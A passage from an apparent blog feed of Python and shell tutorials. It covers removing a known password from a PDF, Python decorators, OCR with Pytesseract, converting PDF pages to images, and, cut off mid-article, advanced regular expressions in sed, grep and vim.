&lt;h2&gt;Step 3: The Python Script: pdf_remove_pass.py&lt;/h2&gt;

&lt;p&gt;Now, let's delve into the core of our magic—the Python script. Create a file named &lt;code&gt;pdf_remove_pass.py&lt;/code&gt; and insert the following code:&lt;/p&gt;

&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

import os
import sys
import fitz

def remove_password(input_pdf, output_pdf, password):
    try:
        doc = fitz.open(input_pdf)
        doc.authenticate(password)
        doc.save(output_pdf)
        doc.close()

        print(f"Password removed successfully. Output saved to {output_pdf}")

    except Exception as e:
        print(f"Error: {e}")

filename = sys.argv[1]
passw = sys.argv[2]
remove_password(filename, "output.pdf", passw)


&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This script encapsulates the essence of our professional endeavor to liberate PDFs.&lt;/p&gt;

&lt;h2&gt;Step 4: Streamlining with a Shell Script: unlock.sh&lt;/h2&gt;

&lt;p&gt;Professionals appreciate efficiency. Create a shell script named &lt;code&gt;unlock.sh&lt;/code&gt; for a more streamlined process:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

#!/bin/bash
source "${HOME}/bin/venv/bin/activate"
python "${HOME}/bin/pdf_remove_pass.py" "$1" "$2"

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Step 5: Aliasing for Convenience&lt;/h2&gt;

&lt;p&gt;To further enhance efficiency, create an alias for the shell script by adding the following line to your &lt;code&gt;~/.bashrc&lt;/code&gt; or &lt;code&gt;~/.zshrc&lt;/code&gt;:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

alias unlockpdf="${HOME}/bin/unlock.sh"

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Now, unlocking PDFs becomes as simple as issuing the command:&lt;/p&gt;

&lt;pre class="language-terminal" &gt;
    &lt;code class="language-terminal" &gt;

unlockpdf secret.pdf mysecretpassword

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In conclusion, armed with your virtual enclave, Python prowess, and a streamlined shell script, you're well-equipped to tackle PDF password protection with the finesse of a seasoned professional. Happy unlocking!&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="PDF password removal"></category><category term="Python script"></category><category term="virtual environment setup"></category><category term="PyMuPDF"></category><category term="shell script"></category><category term="PDF liberation"></category><category term="professional tutorial"></category><category term="streamlined process"></category><category term="code guide"></category><category term="document security"></category></entry><entry><title>Applying Python Decorators to Real-World Scenarios</title><link href="https://mosaid.xyz/articles/applying-python-decorators-to-real-world-scenarios-140.html" rel="alternate"></link><published>2023-03-29T19:55:56+00:00</published><updated>2023-03-29T19:55:56+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2023-03-29:/articles/applying-python-decorators-to-real-world-scenarios-140.html</id><summary type="html">&lt;p&gt;This article explains the concept of decorators in Python, which allow modifying the behavior of functions or classes at runtime. It includes a simple example of a decorator and a real-life usage example in a Flask application.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In Python, functions are first-class objects, which means that they can be passed around like any other variable. Decorators use this feature to modify the behavior of functions or classes at runtime.&lt;/p&gt;

&lt;p&gt;In essence, a decorator is a callable (i.e., a function or class) that takes another function or class as an argument and returns a modified version of that function or class. The original function or class is not changed in any way.&lt;/p&gt;

&lt;p&gt;Here's an example of a simple decorator:&lt;/p&gt;

&lt;pre class="language-python" &gt;
   &lt;code class="language-python" &gt;

def my_decorator(func):
    def wrapper():
        print("Before function is called.")
        func()
        print("After function is called.")
    return wrapper

@my_decorator
def say_hello():
    print("Hello!")

say_hello()

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;pre class="language-python" &gt;
   &lt;code class="language-python" &gt;

Before function is called.
Hello!
After function is called.

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In this example, my_decorator is a decorator function that takes another function func as an argument. It defines a new function wrapper that adds some behavior before and after the original function func is called. Finally, it returns the wrapper function.&lt;/p&gt;

&lt;p&gt;The &lt;strong style="color: #000000;"&gt;@my_decorator&lt;/strong&gt; syntax is a shorthand for calling the my_decorator function with say_hello as an argument and reassigning say_hello to the returned function. This is equivalent to:&lt;/p&gt;

&lt;pre class="language-python" &gt;
   &lt;code class="language-python" &gt;

def say_hello():
    print("Hello!")

say_hello = my_decorator(say_hello)

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;and here is a real life usage example of the decorators in a Flask application:&lt;/p&gt;
&lt;pre class="language-python" &gt;
   &lt;code class="language-python" &gt;

from functools import wraps

def requires_access_level(access_level,name=None):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            if not current_user.is_authenticated:
                return redirect(url_for('users.login',next=request.full_path))
            elif not current_user.owns(*args, **kwargs,name=name) and not current_user.can(access_level):
                abort(403)
            return f(*args, **kwargs)
        return decorated_function
    return decorator



&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;The above code creates a decorator named requires_access_level which takes two arguments, the access_level and a name, the name represents the object to be accessed or modified. the decorator will wrap the function "f" passed to it as argument and return it as decorated_function. the @wraps(f) decorator is used to preserve the metadata of the original function f, such as its name and docstring, so that it is not overwritten by the metadata of the wrapper function.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;@wraps&lt;/code&gt; decorator from the Python built-in module &lt;code&gt;functools&lt;/code&gt; is used to modify the behavior of a function or a method in a way that preserves the original function's metadata, such as its name, docstring, and signature. It is typically used in decorators to ensure that the wrapper function created by the decorator has the same metadata as the original function, making it easier to debug and introspect. The &lt;code&gt;@wraps&lt;/code&gt; decorator takes a function as an argument and returns a new function that wraps the original function, preserving its metadata. It is a useful tool for creating decorators that modify the behavior of functions without losing important information about the original function.&lt;/p&gt;

&lt;p&gt;The purpose of this decorator is to check if the current user has the required access level to access the decorated function. It does this by checking if the current user is authenticated, and if so, whether they have the required access level or they own a specific resource based on the &lt;strong style="color: #000000;"&gt;*args&lt;/strong&gt; and &lt;strong style="color: #000000;"&gt;**kwargs&lt;/strong&gt; passed to the decorated function. If the user does not have the required access level, the decorator raises a 403 Forbidden error.&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;p&gt;The &lt;strong style="color: #000000;"&gt;access_level&lt;/strong&gt; parameter is used to specify the required access level for the decorated function. The &lt;strong style="color: #000000;"&gt;name&lt;/strong&gt; parameter is an optional parameter that can be used to specify the name of the resource that the user should own to access the decorated function. The name parameter is passed to the &lt;strong style="color: #000000;"&gt;current_user.owns()&lt;/strong&gt; method to check ownership&lt;/p&gt;

&lt;p&gt;To use this decorator, you can apply it to a function that requires a certain access level like this:&lt;/p&gt;
&lt;pre class="language-python" &gt;
   &lt;code class="language-python" &gt;

@requires_access_level('admin', name='post')
def delete_post(post_id):
    # delete the post with the given post_id

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In this example, the &lt;strong style="color: #000000;"&gt;delete_post&lt;/strong&gt; function can only be accessed by authenticated users who have the admin access level or own the post resource with the given post_id&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="python"></category><category term="decorators"></category><category term="functions"></category><category term="classes"></category><category term="runtime"></category><category term="modification"></category><category term="Flask"></category><category term="example"></category></entry><entry><title>How to extract text from images using Python?</title><link href="https://mosaid.xyz/articles/how-to-extract-text-from-images-using-python-132.html" rel="alternate"></link><published>2023-03-18T22:05:53+00:00</published><updated>2023-03-18T22:05:53+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2023-03-18:/articles/how-to-extract-text-from-images-using-python-132.html</id><summary type="html">&lt;p&gt;This article discusses the fascinating concept of extracting text from images using Python and Pytesseract. It covers the installation process of Pytesseract and PIL, and provides a simple code example to extract text from an image. The article also highlights the limitations of Pytesseract and suggests experimenting with different configurations to achieve the best results.&lt;/p&gt;</summary><content type="html">&lt;p&gt;As someone who loves programming and technology, I find the concept of extracting text from images incredibly fascinating. Whether it's scanning a document or recognizing text from an image, the potential applications are limitless. One of the most widely used libraries for this purpose is &lt;strong style="color: #000000;"&gt;Pytesseract&lt;/strong&gt;, an open-source tool for optical character recognition (OCR) that extracts text from images.&lt;/p&gt;

&lt;p&gt;Have you ever watched a programming video tutorial on youtube and you just wished if you could copy the code right from the video. well I do it all the time, I take a screenshot of the video and extract the text from it using &lt;strong style="color: #000000;"&gt;Pytesseract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I was amazed the first time I used &lt;strong style="color: #000000;"&gt;Pytesseract&lt;/strong&gt;. With just a few lines of code, I could extract text from an image that was previously unreadable. Pytesseract is an open-source library that enables optical character recognition (OCR), extracting text from images.&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;p&gt;Before you get started with Pytesseract, install it with the command&lt;/p&gt;
&lt;pre class="language-bash" &gt;
   &lt;code class="language-bash" &gt;

pip install pytesseract

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Also, make sure to install PIL by running:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
   &lt;code class="language-bash" &gt;

pip install pillow

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;of course the Pytesseract module calls a subprocess of tesseract program that should be installed in your system.&lt;/p&gt;
&lt;p&gt;in my Arch linux system I installed it using&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;pre class="language-bash" &gt;
   &lt;code class="language-bash" &gt;

sudo pacman -S tesseract-data

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;It shouldn't be any different in other distributions&lt;/p&gt;

&lt;p&gt;To extract text from an image using Pytesseract, load the image using the PIL module and pass it to Pytesseract's &lt;strong style="color: #000000;"&gt;image_to_string()&lt;/strong&gt; method. This method will process the image and return the extracted text as a string.&lt;/p&gt;

&lt;pre class="language-bash" &gt;
   &lt;code class="language-bash" &gt;

import pytesseract
from PIL import Image

#Load the image
image = Image.open('example.png')

#Extract text from the image
text = pytesseract.image_to_string(image)

#Print the extracted text
print(text)

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;It's that straightforward! There are also optional parameters you can use to improve the accuracy of text extraction. For instance, you can specify the language of the text using the lang parameter, pass it like: &lt;strong style="color: #000000;"&gt;lang="eng"&lt;/strong&gt;, or &lt;strong style="color: #000000;"&gt;lang="fra"&lt;/strong&gt; for French . Pytesseract defaults to English, but it supports many other languages too.&lt;/p&gt;

&lt;p&gt;It's important to note that Pytesseract is not perfect. Its accuracy depends on the image quality and complexity of the text. Therefore, if you're dealing with low-quality images or complex fonts, you may need to experiment with different configurations to achieve the best results.&lt;/p&gt;

&lt;p&gt;In summary, Pytesseract is a robust tool for extracting text from images. It's simple to use and can be a game-changer for automating text extraction tasks. However, keep in mind its limitations and experiment with different configurations to achieve the best results. Happy coding!&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="python"></category><category term="Pytesseract"></category><category term="OCR"></category><category term="optical character recognition"></category><category term="image processing"></category><category term="text extraction"></category><category term="PIL"></category><category term="accuracy"></category><category term="configuration"></category><category term="automation"></category><category term="PDF"></category></entry><entry><title>How To Convert PDF documents to images using python</title><link href="https://mosaid.xyz/articles/how-to-convert-pdf-documents-to-images-using-python-122.html" rel="alternate"></link><published>2023-03-05T20:15:27+00:00</published><updated>2023-03-05T20:15:27+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2023-03-05:/articles/how-to-convert-pdf-documents-to-images-using-python-122.html</id><summary type="html">&lt;p&gt;Learn how to extract the first page from a PDF file as a PNG image file using PyMuPDF's fitz module. This article explains the features of the fitz module and provides a Python script for extracting PDF pages as images. A bash script is also provided to demonstrate how to activate a local virtual environment and run the Python script with the necessary dependencies.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction to PyMuPDF's fitz module&lt;/h2&gt;
&lt;p&gt;In this article I will show you  how I use the  &lt;strong&gt;fitz&lt;/strong&gt; module from the PyMuPDF library to extract the first page from a PDF file as a PNG image file. &lt;strong&gt;fitz&lt;/strong&gt;  is a Python wrapper for the MuPDF library, which is a lightweight PDF and XPS viewer and toolkit. The &lt;strong&gt;fitz&lt;/strong&gt; module provides a high-level interface for working with PDF documents, including reading, editing, and creating PDF files.&lt;/p&gt;
&lt;p&gt;Here are some of the features provided by the &lt;strong&gt;fitz&lt;/strong&gt; module:&lt;/p&gt;
&lt;h3&gt;Reading PDF files&lt;/h3&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;You can use &lt;strong&gt;fitz.open()&lt;/strong&gt; to open a PDF file and retrieve a &lt;strong&gt;Document&lt;/strong&gt; object, which provides access to the pages of the PDF document.&lt;/p&gt;
&lt;h3&gt;Working with pages&lt;/h3&gt;
&lt;p&gt;You can use methods of the &lt;strong&gt;Page&lt;/strong&gt; object, such as &lt;strong&gt;get_text()&lt;/strong&gt; and &lt;strong&gt;get_image()&lt;/strong&gt; to extract text and images from a PDF page, or &lt;strong&gt;insert_image()&lt;/strong&gt; and &lt;strong&gt;insert_text()&lt;/strong&gt; to add new elements to the page.&lt;/p&gt;
&lt;h3&gt;Creating PDF files&lt;/h3&gt;
&lt;p&gt;You can use the &lt;strong&gt;fitz.open()&lt;/strong&gt; function with the &lt;strong&gt;'pdf'&lt;/strong&gt; argument to create a new PDF document, and then use the &lt;strong&gt;Document&lt;/strong&gt; object to add pages and elements to the document.&lt;/p&gt;
&lt;h3&gt;Manipulating PDF files&lt;/h3&gt;
&lt;p&gt;You can use methods of the &lt;strong&gt;Document&lt;/strong&gt; object, such as &lt;strong&gt;delete_page()&lt;/strong&gt; and &lt;strong&gt;insert_page()&lt;/strong&gt; to remove or add pages to a PDF document, or &lt;strong&gt;save()&lt;/strong&gt; and &lt;strong&gt;close()&lt;/strong&gt; to save the document to a file.&lt;/p&gt;
&lt;p&gt;In my case I only needed a way to "convert" the first page to a png image file, sort of like a screenshot&lt;/p&gt;
&lt;h2&gt;Here is the script:&lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

import sys
import os
import fitz   #from pymupdf

pdf_path = sys.argv[1]
doc = fitz.open(pdf_path)
page = doc.load_page(0)   # 0 based page indexing 0 is the first page of the pdf document
width, height = page.bound()[2], page.bound()[3]
dpi = 300
pix = page.get_pixmap(matrix=fitz.Matrix(dpi/72, dpi/72))
pix.set_dpi(dpi, dpi)
image_bytes = pix.tobytes()

# Save image file
with open(f"{pdf_path}.png", 'wb') as f:
    f.write(image_bytes)

doc.close()

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;And I call the python script from a bash script because I did not want to install &lt;strong&gt;fitz&lt;/strong&gt; globally in my machine but I have it installed in a local virtual envirement &lt;/p&gt;
&lt;p&gt;The bash script activates a local virtual environment and runs the Python script. This is necessary because the fitz module used in the Python script needs to be installed in a virtual environment. A virtual environment is used to create isolated Python environments, allowing you to install packages and dependencies specific to a project without affecting the global Python installation on your machine. By using a virtual environment, you can avoid package conflicts and ensure that your Python script runs correctly with the necessary dependencies. The bash script demonstrates how to activate a local virtual environment and run the Python script within it, ensuring that the fitz module is available to the script.&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;The bash script&lt;/h2&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

#!/bin/bash
source "${HOME}/path/to/myapp/venv/bin/activate"
python "${HOME}/bin/pdf2png.py" "$1"

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;And that's it. now you have a script to extract your pdf pages as images. you can add features to the script for example to extract a specific page or iterate over all of them.&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="PyMuPDF"></category><category term="fitz module"></category><category term="PDF"></category><category term="image extraction"></category><category term="virtual environment"></category><category term="Python script"></category><category term="bash script"></category><category term="bash script. python"></category><category term="python"></category></entry><entry><title>Advanced Regular Expressions in sed, grep and vim</title><link href="https://mosaid.xyz/articles/advanced-regular-expressions-in-sed-grep-and-vim-98.html" rel="alternate"></link><published>2023-02-18T19:59:34+00:00</published><updated>2023-02-18T19:59:34+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2023-02-18:/articles/advanced-regular-expressions-in-sed-grep-and-vim-98.html</id><summary type="html">&lt;p&gt;Unlock the power of advanced regular expressions in sed, grep, and vim with this comprehensive guide. Learn how to use lookahead and lookbehind assertions, backreferences, conditional statements, non-capturing groups, and atomic groups to enhance your text search and manipulation skills.&lt;/p&gt;</summary><content type="html">&lt;p&gt;
  Regular expressions are a powerful tool for searching and manipulating text. They allow you to create complex search patterns that can match specific combinations of characters, words, and patterns. Advanced regular expressions build upon the basic syntax to provide even more sophisticated search and replacement capabilities. In this article, we will explore some advanced regular expressions techniques and their applications.
&lt;/p&gt;
&lt;h2&gt;Lookahead and Lookbehind Assertions:&lt;/h2&gt;

&lt;p&gt;
  These are special types of zero-width assertions that allow you to match patterns only if they are preceded or followed by specific patterns. For example, the regular expression &lt;span class="myspan"&gt;(?&amp;lt;=\d{3})\d{4}&lt;/span&gt;  will match four digits only if they are preceded by three digits. Lookahead and lookbehind assertions are useful for matching patterns in specific contexts.
&lt;/p&gt;

&lt;h2&gt;Backreferences: &lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;p&gt;
   A backreference allows you to reference a previously matched group in your regular expression. For example, the regular expression &lt;span class="myspan"&gt;(\w+)\s+\1&lt;/span&gt; will match any word followed by whitespace, followed by the same word. Backreferences are useful for matching repeated patterns.
 &lt;/p&gt;

&lt;h2&gt;Conditional Statements: &lt;/h2&gt;

&lt;p&gt;
  Conditional statements allow you to match patterns based on certain conditions. For example, the regular expression &lt;span class="myspan"&gt;(?(?=regex)then|else)&lt;/span&gt;  will match "then" if the pattern "regex" matches, otherwise it will match "else". Conditional statements are useful for creating complex search and replace patterns.
&lt;/p&gt;

&lt;h2&gt;Non-Capturing Groups: &lt;/h2&gt;

&lt;p&gt;
  A non-capturing group allows you to group together parts of your regular expression without capturing them. This is useful when you want to apply a quantifier to a group without capturing the group itself. For example, the regular expression &lt;span class="myspan"&gt;(?:abc)+&lt;/span&gt;  will match "abc" one or more times, without capturing the group "abc".
&lt;/p&gt;

&lt;h2&gt;Atomic Groups: &lt;/h2&gt;

&lt;p&gt;
  An atomic group is a type of non-capturing group that prevents backtracking. This means that once the group has been matched, it cannot be reconsidered during the matching process. Atomic groups are useful when you want to prevent catastrophic backtracking.
&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;h2&gt;Grep: Using lookarounds&lt;/h2&gt;

&lt;p&gt;
  The following example shows how to find all occurrences of the word "foo" that are not immediately followed by the word "bar":
&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

grep -P 'foo(?!\s+bar)' file.txt

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;
  The -P option enables Perl-style regular expressions, including lookarounds.
&lt;/p&gt;

&lt;h2&gt;grep: Using backreferences&lt;/h2&gt;

&lt;p&gt;
  The following example shows how to find all lines that contain a repeated word:
&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

grep -P '\b(\w+)\b.*\b\1\b' file.txt

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The &lt;span class="myspan"&gt;\b(\w+)\b&lt;/span&gt;  pattern matches a word and captures it in group 1. The &lt;span class="myspan"&gt; .*&lt;/span&gt; pattern matches any characters in between. Finally, the &lt;span class="myspan"&gt;\b\1\b&lt;/span&gt;  pattern matches the same word again, using a backreference to the first group.&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;h2&gt;Sed: Using capture groups in replacements&lt;/h2&gt;

&lt;p&gt;
  The following example shows how to replace all occurrences of "foo bar" with "bar foo":
&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

sed -E 's/(foo) (bar)/\2 \1/g' file.txt

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The &lt;span class="myspan"&gt;(foo) &lt;/span&gt; and &lt;span class="myspan"&gt;(bar)&lt;/span&gt; patterns capture the two words in separate groups, which are then referenced in the replacement string as &lt;span class="myspan"&gt;\2 \1&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;sed: Using conditional expressions&lt;/h2&gt;

&lt;p&gt;
  The following example shows how to remove all lines that contain the word "foo" but not the word "bar":
&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

sed -E '/foo/ { /bar/! d }' file.txt

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;
  The &lt;span class="myspan"&gt;/foo/&lt;/span&gt; pattern matches lines that contain the word "foo". The &lt;span class="myspan"&gt;{ /bar/! d }&lt;/span&gt; expression is only executed for lines that match the previous pattern, and it deletes the line (d) if it does not contain the word "bar".
&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;h2&gt;Vim: Using lookaheads&lt;/h2&gt;

&lt;p&gt;
  The following example shows how to find all occurrences of the word "foo" that are immediately followed by a comma:
&lt;/p&gt;

&lt;pre class="language-vim" &gt;
    &lt;code class="language-vim" &gt;

:%s/foo\@=,//g

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;
  The &lt;span class="myspan"&gt;foo\@=, &lt;/span&gt; pattern matches "foo" followed by a comma, using a positive lookahead &lt;span class="myspan"&gt; (\@=)&lt;/span&gt;.
&lt;/p&gt;

&lt;p&gt;
  A positive lookahead is a type of assertion in regular expressions that allows you to match a pattern only if it is followed by another pattern. It is written as (?=pattern) where "pattern" is the pattern that should come after the current pattern being matched.&lt;br&gt;

